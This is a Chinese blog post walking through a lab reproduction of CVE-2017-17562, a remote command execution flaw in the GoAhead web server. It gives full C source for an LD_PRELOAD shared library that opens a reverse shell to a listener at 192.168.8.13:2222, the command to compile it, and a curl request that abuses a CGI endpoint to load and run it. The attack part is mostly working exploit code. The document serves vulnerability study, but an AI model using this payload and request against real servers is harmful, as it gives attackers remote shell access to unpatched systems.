GoAhead Web服务器远程命令执行漏洞复现(CVE-2017-17562)

发布于 2017-12-20  1.34k 次阅读


一、影响版本

2.5.0<=GoAhead<3.6.5

二、触发条件

1、目标GoAhead服务器CGI是启用的,并且CGI是动态链接

2、由于该漏洞是基于CGI触发,所以需要知道一个可用CGI,并且可以直接访问不需要认证

3、该漏洞原理是使用LD_PRELOAD实现函数劫持,所以需要清楚目标系统架构(ARM、i686、MIPS、X86_64)。根据目标系统架构编译对应的.so文件作为攻击payload。

三、漏洞复现

1、环境搭建      //这里我用kali搭建

先从git仓库把源码拿下来,切换到3.6.4版本

git clone https://github.com/embedthis/goahead.git

cd goahead

git checkout tags/v3.6.4 -q

编译GoAhead以及用来测试的CGI文件

make

cd test

gcc ./cgitest.c -o cgi-bin/cgitest

运行GoAhead Web服务器

sudo ../build/linux-x64-default/bin/goahead

我们从web访问一下

可以看到服务已经起来了

2、payload准备

构建如下.c文件

#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(2222);
attacker_addr.sin_addr.s_addr = inet_addr("192.168.8.13");
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/sh", 0, 0);
}

其中IP为监听接收反弹shell的机器IP,2222为监听端口,这里我监听我的物理机

nc且先跑起来

将payload.c文件传至kali中编译,因为其他环境下编译总是出鬼,而我们可以换个思路,找个和受害者环境相同的系统环境下编译,像nmap之类工具都可以去猜测对方系统环境,这里为了省事,咱们直接在kali里面编译。

开始搞事,gcc -shared -fPIC ./payload.c -o payload.so

waring不管,搞事完成,payload.so文件生成,扣出来备用

3、攻击开始

因为我本机没装curl,所以我用一台centos攻击,但前面监听的是我物理机的ip和端口,所以效果上是一样。

curl -X POST --data-binary @payload.so http://192.168.8.101:80/cgi-bin/cgitest\?LD_PRELOAD\=/proc/self/fd/0 -i | head

一波过去,稳如老狗,再看nc

老铁稳不稳?


这是个互联网极端发达的时代,但却无人能够同步感知你的痛苦。